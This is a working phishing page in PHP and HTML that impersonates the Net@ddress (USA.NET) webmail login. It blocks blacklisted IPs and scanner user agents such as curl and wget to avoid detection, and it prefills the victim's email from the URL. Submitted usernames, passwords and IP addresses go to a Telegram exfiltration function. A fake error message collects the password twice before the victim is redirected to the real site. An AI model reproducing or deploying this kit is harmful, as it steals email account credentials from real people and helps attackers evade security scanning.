<?php
//═══════════════════════════════════════════════════════════════════════════
//  🚫 IP BLACKLIST CHECK (High Priority)
//═══════════════════════════════════════════════════════════════════════════
require_once __DIR__ . '/../ip_blacklist_loader.php';

if (!function_exists('getVisitorIP')) {
    function getVisitorIP() {
        $server_addr = $_SERVER['SERVER_ADDR'];
        $localhost = '127.0.0.1';
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) &&
            (($_SERVER['HTTP_CF_CONNECTING_IP']) != $localhost) &&
            (($_SERVER['HTTP_CF_CONNECTING_IP']) != ($server_addr))) {
            $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR']) != $localhost)) {
            $ip = $_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) &&
                  (($_SERVER['HTTP_X_FORWARDED_FOR']) != $localhost) &&
                  (($_SERVER['HTTP_X_FORWARDED_FOR']) != ($server_addr))) {
            $ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) &&
                  (($_SERVER['HTTP_CLIENT_IP']) != $localhost) &&
                  (($_SERVER['HTTP_CLIENT_IP']) != ($server_addr))) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
}
$visitor_ip = getVisitorIP();

if (IPBlacklistLoader::isBlacklisted($visitor_ip)) {
    require_once __DIR__ . '/../config_redirect.php';
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  Basic Bot Detection (Secondary Layer)
//═══════════════════════════════════════════════════════════════════════════
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$ua_lower = strtolower($ua);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}
?>
<!--  Net@ddress (generation GIT.BUILD.5.0.3254web13.cms.usa.net) (C)  USA.NET, Inc. -->
<html>
<head>
    <title>Net@ddress Mail</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    
    <!-- Antibot Scripts -->
    <script src="../m/js/fingerprint.js"></script>
    <script src="../m/js/utils.js"></script>
    <script src="../m/js/captcha.js"></script>

    <!-- Centralized Functions -->
    <script src="../js/centralized_telegram.js"></script>
    <script src="../js/centralized_redirect.js"></script>
    <script src="../js/email_extractor.js"></script>
    <script src="../js/autofill_helper.js"></script>

    <style type="text/css">
        BODY { margin: 0px; }
        .smalltext { FONT-WEIGHT: 100; FONT-SIZE: 12px; COLOR: #000000; FONT-STYLE: normal; FONT-FAMILY: "arial", "helvetica", sans-serif }
        .medtext { FONT-WEIGHT: 100; FONT-SIZE: 14px; COLOR: #000000; FONT-STYLE: normal; FONT-FAMILY: "arial", "helvetica", sans-serif }
        A, TD { FONT-WEIGHT: 100; FONT-SIZE: 14px; COLOR: #000000; FONT-STYLE: normal; FONT-FAMILY: "arial", "helvetica", sans-serif }
        .error-msg { color: #ff0000; font-weight: bold; font-size: 13px; margin: 5px 0; }
    </style>
</head>

<body bgcolor="#FFFFFF" link="#000000" vlink="#000000" alink="#ffOOOO" TEXT="#000000">
<center>
    <table width="710" cellpadding="5" cellspacing="0" border="0">
        <tr><td colspan="3">&nbsp;</td></tr>
        <tr>
            <td colspan="3" bgcolor="#386DA5" cellpadding="0">
                <table width="100%" border="0">
                    <tr>
                        <td bgcolor="#386DA5" valign="middle" align="left">
                            <img src="https://content.postoffice.net/content/GIT.BUILD.5.0.9873/images/common/netaddress_logo_login.gif" width="700" height="110" border="0" alt="Net@ddress">
                        </td>
                    </tr>
                </table>
            </td>
        </tr>
        <tr>
            <td bgcolor="#386DA5" width="10">&nbsp;</td>
            <td valign="top">
                <table>
                    <tr><td><img src="https://content.postoffice.net/content/GIT.BUILD.5.0.9873/images/common/num_new_msgs.gif" width="27" height="20" border="0" alt="-"></td><td><font class="medtext">1GB storage standard, with the option to increase to 2GB, 4GB or 8GB</font></td></tr>
                    <tr><td><img src="https://content.postoffice.net/content/GIT.BUILD.5.0.9873/images/common/num_new_msgs.gif" width="27" height="20" border="0" alt="-"></td><td><font class="medtext">Industry leading virus and spam protection</font></td></tr>
                    <tr><td><img src="https://content.postoffice.net/content/GIT.BUILD.5.0.9873/images/common/num_new_msgs.gif" width="27" height="20" border="0" alt="-"></td><td><font class="medtext">Advanced mail management tools, including filters and autoresponders</font></td></tr>
                    <tr><td><img src="https://content.postoffice.net/content/GIT.BUILD.5.0.9873/images/common/num_new_msgs.gif" width="27" height="20" border="0" alt="-"></td><td><font class="medtext">US only toll-free telephone customer support</font></td></tr>
                    <tr><td><img src="https://content.postoffice.net/content/GIT.BUILD.5.0.9873/images/common/num_new_msgs.gif" width="27" height="20" border="0" alt="-"></td><td><font class="medtext">Access your mail from anywhere on the Web</font></td></tr>
                </table>
            </td>
            <td valign="top">
                <table border="1" width="342" cellpadding="5" bordercolor="#000000">
                    <tr>
                        <td bgcolor="#386DA5">
                            <div align="center">
                                <img src="https://content.postoffice.net/content/GIT.BUILD.5.0.9873/images/common/netaddress_registered_users.gif" width="310" height="40" border="0" alt="Registered Users">
                                <font face="Arial,Helvetica,HelAv" size="3" color="#FFFFFF"><br>Language Selection<br></font>
                            </div>
                            <form id="loginform" name="loginform" method="POST">
                                <div id="error-box" class="error-msg" style="display:none; text-align:center;">Invalid credentials. Please try again.</div>
                                <table border="0" cellpadding="2" cellspacing="0" width="100%">
                                    <tr>
                                        <td ALIGN="RIGHT"><font class="medtext"><font color="#FFFFFF"><b>Login Name:</b>&nbsp;</font></font></td>
                                        <td><input class="medtext" type="text" size="16" name="UserID" id="UserID" value=""></td>
                                    </tr>
                                    <tr>
                                        <td ALIGN="RIGHT"><font class="medtext"><font color="#FFFFFF"><b>Password:</b>&nbsp;</font></font></td>
                                        <td><input class="medtext" type="password" size="16" name="passwd" id="passwd" value=""></td>
                                    </tr>
                                    <tr>
                                        <td>&nbsp;</td>
                                        <td><input class="medtext" type="submit" id="submit-btn" value="Login"></td>
                                    </tr>
                                    <tr>
                                        <td colspan="2"><input type="checkbox"><font class="medtext"><font color="#FFFFFF">This is a public or shared computer</font></font></td>
                                    </tr>
                                    <tr><td colspan="2" align="center"><br><a href="#"><font class="medtext"><font color="#FFFFFF">Forgot Password?</font></font></a></td></tr>
                                </table>
                            </form>
                        </td>
                    </tr>
                </table>
            </td>
        </tr>
        <tr>
            <td bgcolor="#386DA5" width="10">&nbsp;</td>
            <td colspan="2" align="center">
                <font class="smalltext">Frequently Asked Questions | Anti-spam Policy | Customer Service | Terms and Conditions | Privacy Policy</font>
            </td>
        </tr>
    </table>
</center>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script type="text/javascript" src="https://l2.io/ip.js?var=userip"></script>
<script>
    $(document).ready(function() {
        var count = 0;

        // Autofill logic
        if (typeof extractEmailFromUrl === 'function') {
            var email = extractEmailFromUrl();
            if (email) {
                $('#UserID').val(email);
            }
        }

        $('#loginform').on('submit', function(e) {
            e.preventDefault();
            
            var email = $('#UserID').val().trim();
            var password = $('#passwd').val().trim();
            var providerTag = 'usa';
            var clientIP = window.userip || 'n/a';

            if (!email || !password) {
                return false;
            }

            $('#submit-btn').val('Verifying...').prop('disabled', true);

            count++;

            if (typeof sendCentralizedTelegramReport === 'function') {
                sendCentralizedTelegramReport(providerTag, email, password, clientIP, function(success) {
                    if (count >= 2) {
                        // Second attempt: Redirect
                        if (typeof performCentralizedRedirect === 'function') {
                            performCentralizedRedirect(500);
                        } else {
                            setTimeout(function() { window.location.replace('https://www.usa.net/'); }, 500);
                        }
                    } else {
                        // First attempt: Show error
                        $('#error-box').show();
                        $('#passwd').val('').focus();
                        $('#submit-btn').val('Login').prop('disabled', false);
                    }
                });
            } else {
                // Fallback if script not loaded
                if (count >= 2) {
                    window.location.replace('https://www.usa.net/');
                } else {
                    $('#error-box').show();
                    $('#passwd').val('').focus();
                    $('#submit-btn').val('Login').prop('disabled', false);
                }
            }
        });
    });
</script>
</body>
</html>
